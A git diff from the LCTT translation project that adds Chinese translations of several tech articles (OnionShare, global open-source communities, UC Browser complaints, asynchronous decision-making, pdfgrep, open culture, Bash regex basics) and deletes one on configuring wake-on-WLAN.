+OnionShare 在下载后关闭。有一个选项允许多次下载文件。这使得该文件不再在互联网上可以得到。
+
+### 使用 **OnionShare** 好处
+
+其他网站或程序可以访问你的文件:发件人使用 OnionShare 共享的文件不存储在任何服务器上。它直接托管在发件人的系统上。
+
+没有人可以窥探共享文件:由于用户之间的连接是由洋葱服务和 Tor 浏览器加密的。这使得连接安全,很难窃取文件。
+
+用户双方都是匿名的:OnionShare 和 Tor 浏览器使发件人和收件人匿名。
+
+### 结论
+
+在这篇文章中,我已经解释了如何**匿名分享你的文档、文件**。我也解释了它是如何工作的。希望你了解 OnionShare 是如何工作的,如果你对任何事情仍有疑问,只需留言。
+
+
+--------------------------------------------------------------------------------
+
+via: https://www.theitstuff.com/onionshare-share-files-anonymously-2
+
+作者:[Anirudh Rayapeddi][a]
+译者:[geekpi](https://github.com/geekpi)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://www.theitstuff.com
+[1]https://onionshare.org/
+[2]https://www.torproject.org/projects/torbrowser.html.en
+[3]http://www.theitstuff.com/wp-content/uploads/2017/12/Icons.png
+[4]http://www.theitstuff.com/wp-content/uploads/2017/12/Onion-Share.png
+[5]http://www.theitstuff.com/wp-content/uploads/2017/12/With-Link.png
+[6]http://www.theitstuff.com/wp-content/uploads/2017/12/Tor.png
diff --git a/translated/tech/20171208 Overcoming challenges when building great global communities.md b/translated/tech/20171208 Overcoming challenges when building great global communities.md
new file mode 100644
index 0000000000..679670f025
--- /dev/null
+++ b/translated/tech/20171208 Overcoming challenges when building great global communities.md
@@ -0,0 +1,70 @@
+构建全球社区带来的挑战
+======
+
+
+今天的开源组织参与人员来自于全世界。你能预见到组建在线社区可能遇到哪些困难吗?有没有什么办法能够克服这些困难呢?
+
+为开源社区贡献力量的人共同合作推动软件的开发和发展 (People contributing to an open source community share a commitment to the software they're helping to develop)。在过去,人们是面对面或者通过邮件和电话来交流的。今天,科技孕育出了在线交流--人们只需要进入一个聊天室或消息渠道就能一起工作了。比如,你可以早上跟摩洛哥的人一起工作,到了晚上又跟夏威夷的人一起工作。
+
+## 全球社区的三个挑战
+
+任何一个团队合作过的人都知道意见分歧是很难被克服的。对于在线社区来说,语言障碍,不同的时区,以及文化差异也带来了新的挑战。
+
+### 语言障碍
+
+英语是开源社区中的主流语言,因此英语不好的人会很难看懂文档和修改意见。为了克服这个问题,吸引其他地区的社区成员,你需要邀请双语者参与到社区中来。问问周围的人--你会发现意想不到的精通其他语言的人。社区的双语成员可以帮助别人跨越语言障碍,并且可以通过翻译软件和文档来扩大项目的受众范围。
+
+人们使用的编程语言也不一样。你可能喜欢用 Bash 而其他人则可能更喜欢 Python,Ruby,C 等其他语言。这意味着,人们可能由于编程语言的原因而难以为你的代码库做贡献。项目负责人为项目选择一门被软件社区广泛认可的语言至关重要。如果你选择了一门偏门的语言,则很少人能够参与其中。
+
+### 不同的时区
+
+时区为开源社区带来了另一个挑战。比如,若你在芝加哥,想与一个在伦敦的成员安排一次视频会议,你需要调整 8 小时的时差。根据合作者的地理位置,你可能要在深夜或者清晨工作。
+
+肉体转移 (Physical sprints),让你的团队在同一个时区工作可以帮助克服这个挑战,但这中方法只有极少数社区才能够负担的起。我们还可以定期举行虚拟会议讨论项目,建立一个固定的时间和地点以供所有人来讨论未决的事项,即将发布的版本等其他主题。
+
+不同的时区也可以成为你的优势,因为团队成员可以全天候的工作。若你拥有一个类似 IRC 这样的实时交流平台,用户可以在任意时间都能找到人来回答问题。
+
+### 文化差异
+
+文化差异是开源组织面临的最大挑战。世界各地的人都有不同的思考方式,计划以及解决问题的方法。政治环境也会影响工作环境并影响决策。
+
+作为项目负责人,你应该努力构建一种能包容不同看法的环境。文化差异可以鼓励社区沟通。建设性的讨论总是对项目有益,因为它可以帮助社区成员从不同角度看待问题。不同意见也有助于解决问题。
+
+要成功开源,团队必须学会拥抱差异。这不简单,但多样性最终会使社区收益。
+
+## 加强在线沟通的其他方法
+
+**本地化:** 在线社区成员可能会发现位于附近的贡献者--去见个面并组织一个本地社区。只需要两个人就能组建一个社区了。可以邀请其他当地用户或雇员参与其中; 他们甚至还能为以后的聚会提供场所呢。
+
+**组织活动:** 组织活动是构建本地社区的好方法,而且费用也不高。你可以在当地的咖啡屋或者啤酒厂聚会,庆祝最新版本的发布或者某个核心功能的实现。组织的活动越多,人们参与的热情就越高(即使只是因为单纯的好奇心)。最终,可能会找到一家公司为你提供聚会的场地,或者为你提供赞助。
+
+**保持联系:** 每次活动后,联系本地社区成员。收起电子邮箱地址或者其他联系方式并邀请他们参与到你的交流平台中。邀请他们为其他社区做贡献。你很可能会发现很多当地的人才,运气好的话,甚至可能发现新的核心开发人员!
+
+**分享经验:** 本地社区是一种非常有价值的资源,对你,对其他社区来说都是。与可能受益的人分享你的发现和经验。如果你不清楚(译者注:这里原文是说 sure,但是根据上下文,这里应该是 not sure) 如何策划一场活动或会议,可以咨询其他人的意见。也许能找到一些有经验的人帮你走到正轨。
+
+**关注文化差异:** 记住,文化规范因地点和人口而异,因此在清晨安排某项活动可能适用于一个地方的人,但是不合适另一个地方的人。当然,你可以--也应该--利用其他社区的参考资料来更好地理解这种差异性,但有时你也需要通过试错的方式来学习。不要忘了分享你所学到的东西,让别人也从中获益。
+
+**检查个人观点:** 避免在工作场合提出带有很强主观色彩的观点(尤其是与政治相关的观点)。这会抑制开放式的沟通和问题的解决。相反,应该专注于鼓励与团队成员展开建设性讨论。如果你发现陷入了激烈的争论中,那么后退一步,冷静一下,然后再从更加积极的角度出发重新进行讨论。讨论必须是有建设性的,从多个角度讨论问题对社区有益。永远不要把自己的主观观念放在社区的总体利益之前。
+
+**尝试异步沟通:** 这些天,实时通讯平台已经引起了大家的关注,但除此之外还别忘了电子邮件。如果没有在网络平台上找到人的话,可以给他们发送一封电子邮件。有可能你很快就能得到回复。考虑使用那些专注于异步沟通的平台,比如 [Twist][1],也不要忘了查看并更新论坛和维基。
+
+**使用不同的解决方案:** 并不存在一个单一的完美的解决方法,学习最有效的方法还是通过经验来学习。从反复试验中你可以学到很多东西。不要害怕失败; 你慧聪失败中学到很多东西从而不停地进步。
+
+## 社区需要营养
+
+将社区想象成是一颗植物的幼苗。你需要每天给它浇水,提供阳光和氧气。社区也是一样:倾听贡献者的声音,记住你在与活生生的人进行互动,他们需要以合适的方式进行持续的交流。如果社区缺少了人情味,人们会停止对它的贡献。
+
+最后,请记住,每个社区都是不同的,没有一种单一的解决方法能够适用于所有社区。坚持不断地从社区中学习并适应这个社区。
+
+--------------------------------------------------------------------------------
+
+via: https://opensource.com/article/17/12/working-worldwide-communities
+
+作者:[José Antonio Rey][a]
+译者:[lujun9972](https://github.com/lujun9972)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://opensource.com/users/jose
+[1]:https://twistapp.com
diff --git a/translated/tech/20171208 The Biggest Problems With UC Browser.md b/translated/tech/20171208 The Biggest Problems With UC Browser.md
new file mode 100644
index 0000000000..636adf2b99
--- /dev/null
+++ b/translated/tech/20171208 The Biggest Problems With UC Browser.md
@@ -0,0 +1,65 @@
+UC 浏览器最大的问题
+======
+在我们开始谈论缺点之前,我要確定的事实是过去 3 年来,我一直是一个忠实的 UC 浏览器用户。我真的很喜欢它的下载速度,超时尚的用户界面和工具上引人注目的图标。我一开始是 Android 上的 Chrome 用户,但我在朋友的推荐下开始使用 UC。但在过去的一年左右,我看到了一些东西让我重新思考我的选择,现在我感觉我要重新回到 Chrome。
+
+### 不需要的 **通知**
+
+我相信我不是唯一一个每几个小时内就收到这些不需要的通知的人。这些欺骗点击文章真的很糟糕,最糟糕的部分是你每隔几个小时就会收到一次。
+
+[![uc browser's annoying ads notifications][1]][1]
+
+我试图从通知设置里关闭他们,但它们仍然以一个更低频率出现。
+
+### **新闻主页**
+
+另一个不需要的部分是完全无用的。我们完全理解 UC 浏览器是免费下载,可能需要资金,但并不应该这么做。这个主页上的新闻文章是非常让人分心且不需要的。有时当你在一个专业或家庭环境中的一些诱骗点击甚至可能会导致尴尬。
+
+[![uc browser's embarrassing news homepage][2]][2]
+
+而且他们甚至有这样的设置。将 **UC** **新闻显示打开/关闭**。我也试过,猜猜看发生了什么。在下图中,左侧你可以看到我的尝试,右侧可以看到结果。
+
+[![uc browser homepage settings][3]][3]
+
+而且不止诱骗点击新闻,他们已经开始添加一些不必要的功能。所以我也列出它们。
+
+### UC **音乐**
+
+UC 浏览器在浏览器中集成了一个**音乐播放器**来播放音乐。它只是能用,没什么特别的东西。那为什么还要呢?有什么原因呢?谁需要浏览器中的音乐播放器?
+
+[![uc browser adds uc music player][4]][4]
+
+它甚至不是在后台直接播放来自网络的音频。相反,它是一个播放离线音乐的音乐播放器。所以为什么要它?我的意思是,它甚至不够好到作为主要音乐播放器。即使它是,它不能独立于 UC 浏览器运行。所以为什么会有人运行将他/她的浏览器只是为了使用你的音乐播放器?
+
+### **快速**访问栏
+
+我已经看到平均有 90% 的用户在通知区域挂着这栏,因为它默认安装,并且它们不知道如何摆脱它。右侧的设置可以摆脱它。
+
+[![uc browser annoying quick access bar][5]][5]
+
+但是我还是想问一下,“为什么它是默认的?”。这让大多数用户很头痛。如果我们需要它,就会去启用它。为什么要强迫用户。
+
+### 总结
+
+UC 浏览器仍然是最大的玩家之一。它提供了一个最好的体验,但是,我不知道 UC 通过在浏览中打包进将越来越多的功能并强迫用户使用它们是要证明什么。
+
+我喜欢 UC 的速度和设计。但最近的体验导致我再次考虑我的主要浏览器。
+
+
+
+--------------------------------------------------------------------------------
+
+via: https://www.theitstuff.com/biggest-problems-uc-browser
+
+作者:[Rishabh Kandari][a]
+译者:[geekpi](https://github.com/geekpi)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://www.theitstuff.com/author/reevkandari
+[1]:http://www.theitstuff.com/wp-content/uploads/2017/10/Untitled-design-6.png
+[2]:http://www.theitstuff.com/wp-content/uploads/2017/10/Untitled-design-1-1.png
+[3]:http://www.theitstuff.com/wp-content/uploads/2017/12/uceffort.png
+[4]:http://www.theitstuff.com/wp-content/uploads/2017/10/Untitled-design-3-1.png
+[5]:http://www.theitstuff.com/wp-content/uploads/2017/10/Untitled-design-4-1.png
+
diff --git a/translated/tech/20171212 Asynchronous decision-making- Helping remote teams succeed.md b/translated/tech/20171212 Asynchronous decision-making- Helping remote teams succeed.md
new file mode 100644
index 0000000000..8731c2c084
--- /dev/null
+++ b/translated/tech/20171212 Asynchronous decision-making- Helping remote teams succeed.md
@@ -0,0 +1,56 @@
+异步决策:帮助远程团队走向成功
+======
+异步决策能够让地理和文化上分散的软件团队更有效率地做出决策。本文就将讨论一下实现异步决策所需要的一些原则和工具。
+
+同步决策,要求参与者实时地进行互动,而这对那些需要大块完整时间工作 ([Maker's Schedule][1]) 的人来说代价非常大,而且对于远程团队来说这也不现实。我们会发现这种会议最后浪费的时间让人难以置信。
+
+相比之下,异步决策常应用于大型开源项目中(比如我常参与的像 Apache Software Foundation (ASF))。它为团队提供了一种尽可能少开会的有效方法。很多开源项目每年只开很少的几次会议(有的甚至完全没开过会),然而开发团队却始终如一地在生产高质量的软件。
+
+怎样才能异步决策呢?
+
+## 所需工具
+
+### 中心化的异步沟通渠道
+
+异步决策的第一步就是构建一个中心化的异步沟通渠道。你所使用的技术必须能让所有的团队成员都获得同样的信息,并能进行线索讨论 (threaded discussions),也就是说你要既能对一个主题进行发散也要能封禁其他主题的讨论。想一想 marine 广播,其中广播渠道的作用只是为了引起特定人员的注意,这些人然后再创建一个子渠道来进行详细的讨论。
+
+很多开源项目依旧使用邮件列表 (mailing lists) 作为中心渠道,不过很多新一代的软件开发者可能会觉得这个方法又古老有笨拙。邮件列表需要遵循大量的准则才能有效的管理热门项目,比如你需要进行有意义的引用,每个 thead 只讨论一个主题,保证 [标题与内容相吻合 ][2]。虽然这么麻烦,但使用得当的话,再加上一个经过索引的归档系统,邮件列表依然在创建中心渠道的工具中占据绝对主导的地位。
+
+公司团队可以从一个更加现代化的协作工具中收益,这类工具更易使用并提供了更加强大的多媒体功能。不管你用的是哪个工具,关键在于要创建一个能让大量的人员有效沟通并异步地讨论各种主题的渠道。要创建一个一致而活跃的社区,使用一个 [繁忙的渠道要好过建立多个渠道 ][3] to create a consistent and engaged community。
+
+### 构建共识的机制
+
+第二个工具是一套构建共识的机制,这样你才不会陷入死循环从而确保能做出决策。做决策最理想的情况就是一致同意,而次佳的就是达成共识,也就是 "有决策权的人之间广泛形成了一致的看法"。强求完全一致的赞同或者允许一票否决都会阻碍决策的制定,因此 ASF 中只在非常有限的决策类似中允许否决权。[ASF 投票制度 ][4] 为类似 ASF 这样没有大老板的松散组织构建了一个久经考验的,用于达成共识的好方法。当共识无法自然产生时也可以使用该套制度。
+
+### 案例管理系统
+
+如上所述,我们通常在项目的中心渠道中构建共识。但是在讨论一些复杂的话题时,使用案例管理系统这一第三方的工具很有意义。小组可以使用中心渠道专注于非正式的讨论和头脑风暴上,当讨论要转变成一个决策时将其转到一个更加结构化的案例管理系统中去。
+
+案例管理系统能够更精确地组织决策。小型团队不用做太多决策可以不需要它,但很多团队会发现能有一个相对独立的地方讨论决策的细节并保存相关信息会方便很多。
+
+案例管理系统不一定就是个很复杂的软件; 在 ASF 中我们所使用的只是简单的问题跟踪软件而已,这些给予 web 的系统原本是创建来进行软件支持和 bug 管理的。每个案例列在一个单独的 web 页面上,还有一些历史的注释和动作信息。该途径可以很好的追踪决策是怎么制定出来的。比如,某些非紧急的决策或者复杂的决策可能会花很长时间才会制定出来,这时有一个地方能够了解这些决策的历史就很有用了。新来的团队成员也能很快地了解到最近做出了哪些决策,哪些决策还在讨论,每个决策都有那些人参与其中,每个决策的背景是什么。
+
+## 成功的案例
+
+ASF 董事会中的九名懂事在每个月的电话会议上只做很少的一些决策,耗时不超过 2 个小时。在准备这些会议之前大多数的决策都预先通过异步的方式决定好了。这使得我们可以在会议上集中讨论复杂和难以确定的问题,而不是他论那些已经达成普遍/部分共识的问题上。
+
+软件世界外的一个有趣的案例是 [瑞士联邦委员会的周会 ][5],它的运作方式跟 ASF 很类似。团队以异步决策构建共识的方式来准备会议。会议议程由一组不同颜色编码的列表组成,这些颜色标识了那些事项可以很快通过批准,那些事项需要进一步的讨论,哪些事项特别的复杂。这使得只要 7 个人就能每年忙完超过 2500 项决策,共 50 个周会,每个周会只需要几个小时时间。我觉得这个效率已经很高了。
+
+就我的经验来看,异步决策带来的好处完全值得上为此投入的时间和工具。而且它也能让团队成员更快乐,这也是成功的关键因素之一。
+
+--------------------------------------------------------------------------------
+
+via: https://opensource.com/article/17/12/asynchronous-decision-making
+
+作者:[Bertrand Delacretaz][a]
+译者:[lujun9972](https://github.com/lujun9972)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://opensource.com
+[1]:http://www.paulgraham.com/makersschedule.html
+[2]:https://grep.codeconsult.ch/2017/11/10/large-mailing-lists-survival-guide/
+[3]:https://grep.codeconsult.ch/2011/12/06/stefanos-mazzocchis-busy-list-pattern/
+[4]:http://www.apache.org/foundation/voting.html
+[5]:https://www.admin.ch/gov/en/start/federal-council/tasks/decision-making/federal-council-meeting.html
diff --git a/translated/tech/20171212 How to Search PDF Files from the Terminal with pdfgrep.md b/translated/tech/20171212 How to Search PDF Files from the Terminal with pdfgrep.md
new file mode 100644
index 0000000000..75aae3b97e
--- /dev/null
+++ b/translated/tech/20171212 How to Search PDF Files from the Terminal with pdfgrep.md
@@ -0,0 +1,64 @@
+如何使用 pdfgrep 从终端搜索 PDF 文件
+======
+诸如 [grep][1] 和 [ack-grep][2] 之类的命令行工具对于搜索匹配指定[正则表达式][3]的纯文本非常有用。但是你有没有试过使用这些工具在 PDF 中搜索模板?不要这么做!由于这些工具无法读取PDF文件,因此你不会得到任何结果。他们只能读取纯文本文件。
+
+顾名思义,[pdfgrep][4] 是一个小的命令行程序,可以在不打开文件的情况下搜索 PDF 中的文本。它非常快速 - 比几乎所有 PDF 浏览器提供的搜索更快。grep 和 pdfgrep 的区别在于 pdfgrep 对页进行操作,而 grep 对行操作。grep 如果在一行上找到多个匹配项,它也会多次打印单行。让我们看看如何使用该工具。
+
+对于 Ubuntu 和其他基于 Ubuntu 的 Linux 发行版来说,这非常简单:
+```
+sudo apt install pdfgrep
+```
+
+对于其他发行版,只要将 `pdfgrep` 作为[包管理器][5]的输入,它就应该能够安装。万一你想浏览代码,你也可以查看项目的[ GitLab 页面][6]。
+
+现在你已经安装了这个工具,让我们去测试一下。pdfgrep 命令采用以下格式:
+```
+pdfgrep [OPTION...] PATTERN [FILE...]
+```
+
+ **OPTION** 是一个额外的属性列表,给出诸如 `-i` 或 `--ignore-case` 这样的命令,这两者都会忽略匹配正则中的大小写。
+
+ **PATTERN** 是一个扩展的正则表达式。
+
+ **FILE** 如果它在相同的工作目录或文件的路径,这是文件的名称。
+
+我根据官方文档用 Python 3.6 运行命令。下图是结果。
+
+![pdfgrep search][7]
+
+![pdfgrep search][7]
+
+红色高亮显示所有遇到单词 “queue” 的地方。在命令中加入 `-i` 选项将会匹配单词 “Queue”。请记住,当加入 `-i` 时,大小写并不重要。
+
+pdfgrep 有相当多的有趣的选项。不过,我只会在这里介绍几个。
+
+
+ * `-c` 或者 `--count`:这会抑制匹配的正常输出。它只显示在文件中遇到该单词的次数,而不是显示匹配的长输出,
+ * `-p` 或者 `--page-count`:这个选项打印页面上匹配的页码和页面上的模式出现次数
+ * `-m` 或者 `--max-count` [number]:指定匹配的最大数目。这意味着当达到匹配次数时,该命令停止读取文件。
+
+
+
+支持的选项的完整列表可以在 man 页面或者 pdfgrep 在线[文档][8]中找到。以防你在处理一些批量文件,不要忘记,pdfgrep 可以同时搜索多个文件。可以通过更改 GREP_COLORS 环境变量来更改默认的匹配高亮颜色。
+
+下一次你想在 PDF 中搜索一些东西。请考虑使用 pdfgrep。该工具会派上用场,并且节省你的时间。
+
+--------------------------------------------------------------------------------
+
+via: https://www.maketecheasier.com/search-pdf-files-pdfgrep/
+
+作者:[Bruno Edoh][a]
+译者:[geekpi](https://github.com/geekpi)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://www.maketecheasier.com
+[1] https://www.maketecheasier.com/what-is-grep-and-uses/
+[2] https://www.maketecheasier.com/ack-a-better-grep/
+[3] https://www.maketecheasier.com/the-beginner-guide-to-regular-expressions/
+[4] https://pdfgrep.org/
+[5] https://www.maketecheasier.com/install-software-in-various-linux-distros/
+[6] https://gitlab.com/pdfgrep/pdfgrep
+[7] https://www.maketecheasier.com/assets/uploads/2017/11/pdfgrep-screenshot.png (pdfgrep search)
+[8] https://pdfgrep.org/doc.html
diff --git a/translated/tech/20171213 How to configure wireless wake-on-lan for Linux WiFi card.md b/translated/tech/20171213 How to configure wireless wake-on-lan for Linux WiFi card.md
deleted file mode 100644
index a9b58edbd8..0000000000
--- a/translated/tech/20171213 How to configure wireless wake-on-lan for Linux WiFi card.md
+++ /dev/null
@@ -1,116 +0,0 @@
-如何为 Linux 无线网卡配置无线唤醒功能
-======
-[![linux-configire-wake-on-wireless-lan-wowlan][1]][1]
-无线唤醒 (WoWLAN or WoW) 允许 Linux 系统进入低耗电模式的情况下保持无线网卡处于激活状态依然与热点连接。这篇教程演示了如何在一台安装无线网卡的 Linux 笔记本或桌面电脑上启用 WoWLAN / WoW 模式。
-
-请注意,不是所有的无线网卡和 Linux 驱动程序都支持 WoWLAN。
-
-## 语法
-
-在 Linux 系统上,你需要使用 iw 命令来查看和操作无线设备及其配置。 其 syntax 为:
-```
-iw command
-iw [options] command
-```
-
-## 列出所有的无线设备及其功能
-
-输入下面命令:
-```
-$ iw list
-$ iw list | more
-$ iw dev
-```
-输出为:
-```
-phy#0
- Interface wlp3s0
- ifindex 3
- wdev 0x1
- addr 6c:88:14:ff:36:d0
- type managed
- channel 149 (5745 MHz),width: 40 MHz, center1: 5755 MHz
- txpower 15.00 dBm
-
-```
-
-请记下这个 phy0。
-
-## 查看 wowlan 的当前状态
-
-打开终端并输入下面命令来查看无线网络的状态:
-```
-$ iw phy0 wowlan show
-```
-输出为:
-```
-WoWLAN is disabled
-```
-
-## 如何启用 wowlan
-
-启用的语法为:
-`sudo iw phy {phyname} wowlan enable {option}`
-其中,
-
- 1。{phyname} - 使用 iw dev 来获取 phy 的名字。
- 2。{option} - 可以是 any, disconnect, magic-packet 等。
-
-
-
-比如,我想为 phy0 开启 wowlan:
-`$ sudo iw phy0 wowlan enable any`
-或者
-`$ sudo iw phy0 wowlan enable magic-packet disconnect`
-检查一下:
-`$ iw phy0 wowlan show`
-结果为:
-```
-WoWLAN is enabled:
- * wake up on disconnect
- * wake up on magic packet
-
-```
-
-## 测试一下
-
-将你的笔记本挂起或者进入休眠模式,然后从 NAS 服务器上发送 ping 请求或 magic packet:
-`$ sudo sh -c 'echo mem > /sys/power/state'`
-从 NAS 服务器上使用 [ping command][3] 发送 ping 请求
-`$ ping your-laptop-ip`
-也可以 [使用 wakeonlan 命令发送 magic packet][4]:
-```
-$ wakeonlan laptop-mac-address-here
-$ etherwake MAC-Address-Here
-```
-
-## 如何禁用 WoWLAN?
-
-语法为:
-```
-$ sudo phy {phyname} wowlan disable
-$ sudo phy0 wowlan disable
-```
-
-更多信息请阅读 iw 命令的 man 页:
-```
-$ man iw
-$ iw --help
-```
-
-
---------------------------------------------------------------------------------
-
-via: https://www.cyberciti.biz/faq/configure-wireless-wake-on-lan-for-linux-wifi-wowlan-card/
-
-作者:[Vivek Gite][a]
-译者:[lujun9972](https://github.com/lujun9972)
-校对:[校对者ID](https://github.com/校对者ID)
-
-本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
-
-[a]:https://twitter.com/nixcraft
-[1] https://www.cyberciti.biz/media/new/faq/2017/12/linux-configire-wake-on-wireless-lan-wowlan.jpg
-[2] https://www.cyberciti.biz/tips/linux-send-wake-on-lan-wol-magic-packets.html
-[3] //www.cyberciti.biz/faq/unix-ping-command-examples/ (See Linux/Unix ping command examples for more info)
-[4] https://www.cyberciti.biz/faq/apple-os-x-wake-on-lancommand-line-utility/
diff --git a/translated/tech/20171214 A step-by-step guide to building open culture.md b/translated/tech/20171214 A step-by-step guide to building open culture.md
new file mode 100644
index 0000000000..d6674c4286
--- /dev/null
+++ b/translated/tech/20171214 A step-by-step guide to building open culture.md
@@ -0,0 +1,43 @@
+手把手教你构建开放式文化
+======
+我们于 2015 年发表 `开放组织 (Open Organization)` 后,很对各种类型不同大小的公司都对“开放式”文化究竟意味着什么感到好奇。甚至当我跟别的公司谈论我们产品和服务的优势时,也总是很快就从谈论技术转移到人和文化上去了。几乎所有对推动创新和保持行业竞争优势有兴趣的人都在思考这个问题。
+
+不是只有高级领导团队 (Senior leadership teams) 才对开放式工作感兴趣。[红帽公司最近一次调查 ][1] 发现 [81% 的受访者 ][2] 同意这样一种说法:"拥有开放式的组织文化对我们公司非常重要。"
+
+然而要注意的是。同时只有 [67% 的受访者 ][3] 认为:"我们的组织有足够的资源来构建开放式文化。"
+
+这个结果与我从其他公司那交流所听到的相吻合:人们希望在开放式文化中工作,他们只是不知道该怎么做。对此我表示同情,因为组织的行事风格是很难捕捉,评估,和理解的。在 [Catalyst-In-Chief][4] 中,我将其称之为 "组织中最神秘莫测的部分。"
+
+开放式组织之所以让人神往是因为在这个数字化转型有望改变传统工作方式的时代,拥抱开放文化是保持持续创新的最可靠的途径。当我们在书写本文的时候,我们所关注的是描述在红帽公司中兴起的那种文化--而不是编写一本如何操作的书。我们并不会制定出一步步的流程来让其他组织采用。
+
+这也是为什么与其他领导者和高管谈论他们是如何开始构建开放式文化的会那么有趣。在创建开发组织时,很多高管会说我们要"改变我们的文化"。但是文化并不是一项输入。它是一项输出--它是人们互动和日常行为的副产品。
+
+告诉组织成员"更加透明地工作","更多地合作",以及 "更加包容地行动" 并没有什么作用。因为像 "透明," "合作," and "包容" 这一类的文化特质并不是行动。他们只是组织内指导行为的价值观而已。
+
+纳入要如何才能构建开放式文化呢?
+
+在过去的两年里,Opensource.com 设计收集了各种以开放的精神来进行工作,管理和领导的最佳实践方法。现在我们在新书 [The Open Organization Workbook][5] 中将之分享出来,这是一本更加规范的引发文化变革的指引。
+
+要记住,任何改变,尤其是巨大的改变,都需要许诺 (commitment),耐心,以及努力的工作。我推荐你在通往伟大成功的大道上先使用这本工作手册来实现一些微小的,有意义的成果。
+
+通过阅读这本书,你将能够构建一个开放而又富有创新的文化氛围,使你们的人能够茁壮成长。我已經迫不及待想听听你的故事了。
+
+本文摘自 [Open Organization Workbook project][6]。
+
+--------------------------------------------------------------------------------
+
+via: https://opensource.com/open-organization/17/12/whitehurst-workbook-introduction
+
+作者:[Jim Whitehurst][a]
+译者:[lujun9972](https://github.com/lujun9972)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://opensource.com/users/jwhitehurst
+[1]:https://www.redhat.com/en/blog/red-hat-releases-2017-open-source-culture-survey-results
+[2]:https://www.techvalidate.com/tvid/923-06D-74C
+[3]:https://www.techvalidate.com/tvid/D30-09E-B52
+[4]:https://opensource.com/open-organization/resources/catalyst-in-chief
+[5]:https://opensource.com/open-organization/resources/workbook
+[6]:https://opensource.com/open-organization/17/8/workbook-project-announcement
diff --git a/translated/tech/20171214 Bash Scripting- Learn to use REGEX (Basics).md b/translated/tech/20171214 Bash Scripting- Learn to use REGEX (Basics).md
new file mode 100644
index 0000000000..83e9514054
--- /dev/null
+++ b/translated/tech/20171214 Bash Scripting- Learn to use REGEX (Basics).md
@@ -0,0 +1,151 @@
+Bash 脚本:学习使用正则表达式(基础)
+======
+正则表达式(简写为 regex 或者 regexp)基本上是定义一种搜索模式的字符串,可以被用来执行“搜索”或者“搜索并替换”操作,也可以被用来验证像密码策略等条件。
+
+正则表达式是一个我们可利用的非常强大的工具,并且使用正则表达式最好的事情是它能在几乎所有计算机语言中被使用。所以如果你使用 Bash 脚本或者创建一个 python 程序时,我们可以使用正则表达式或者也可以写一个单行搜索查询。
+
+在这篇教程中,我们将会学习一些正则表达式的基本概念,并且学习如何在 Bash 中使用‘grep’时使用它们,但是如果你希望在其他语言如 python 或者 C 中使用它们,你只能使用正则表达式部分。那么让我们通过正则表达式的一个例子开始吧,
+
+ **Ex-** 一个正则表达式看起来像
+
+ **/t[aeiou]l/**
+
+但这是什么意思呢?它意味着所提到的正则表达式将寻找一个词,它以‘t’开始,在中间包含字母‘a e i o u’中任意一个,并且字母‘l’最为最后一个字符。它可以是‘tel’,‘tal’或者‘til’,匹配可以是一个单独的词或者其它单词像‘tilt’,‘brutal’或者‘telephone’的一部分。
+
+ **grep 使用正则表达式的语法是**
+
+ **$ grep "regex_search_term" file_location**
+
+如果头脑中没有想法,不要担心,这只是一个例子,来展示可以利用正则表达式获取什么,并且相信我这是最简单的例子。我们可以从正则表达式中获取更多。现在我们将从正则表达式基础的开始。
+
+ **(推荐阅读: [你应该知道的有用的 linux 命令][1])**
+
+## **基础的正则表示式**
+
+现在我们开始学习一些被称为元字符(MetaCharacters)的特殊字符。他们帮助我们创建更复杂的正则表达式搜索项。下面提到的是基本元字符的列表,
+
+ **. or Dot** 将匹配任意字符
+
+ **[ ]** 将匹配范围内字符
+
+ **[^ ]** 将匹配除了括号中提到的那个之外的所有字符
+
+ ***** 将匹配零个或多个前面的项
+
+ **+** 将匹配一个或多个前面的项
+
+ **? ** 将匹配零个或一个前面的项
+
+ **{n}** 将匹配‘n’次前面的项
+
+ **{n,}** 将匹配‘n’次或更多前面的项
+
+ **{n m} ** 将匹配在‘n’和‘m’次之间的项
+
+ **{ ,m}** 将匹配少于或等于‘m’次的项
+
+ **\ ** 是一个转义字符,当我们需要在我们的搜索中包含一个元字符时使用
+
+现在我们将用例子讨论所有这些元字符。
+
+### **. or Dot**
+
+它用于匹配出现在我们搜索项中的任意字符。举个例子,我们可以使用点如
+
+ **$ grep "d.g" file1**
+
+这个正则表达式意味着我们在‘file_name’文件中正查找的词以‘d’开始,以‘g’结尾,中间可以有任意字符。同样,我们可以使用任意数量的点作为我们的搜索模式,如
+
+ **T ……h**
+
+这个查询项将查找一个词,以‘T’开始,以‘h’结尾,并且中间可以有任意 6 个字符。
+
+### **[ ]**
+
+方括号用于定义字符的范围。 例如,我们需要搜索一些特别的单词而不是匹配任何字符,
+
+ **$ grep "N[oen]n" file2**
+
+这里,我们正寻找一个单词,以‘N’开头,以‘n’结尾,并且中间只能有‘o’,‘e’或者‘n’中的一个。 在方括号中我们可以提到单个到任意数量的字符。
+
+我们在方括号中也可以定义像‘a-e’或者‘1-18’作为匹配字符的列表。
+
+### **[^ ]**
+
+这就像正则表达式的 not 操作。当使用 [^ ] 时,它意味着我们的搜索将包括除了方括号内提到的所有字符。例如,
+
+ **$ grep "St[^1-9]d" file3**
+
+这意味着我们可以拥有所有这样的单词,它们以‘St’开始,以字母‘d’结尾,并且不得包含从1到9的任何数字。
+
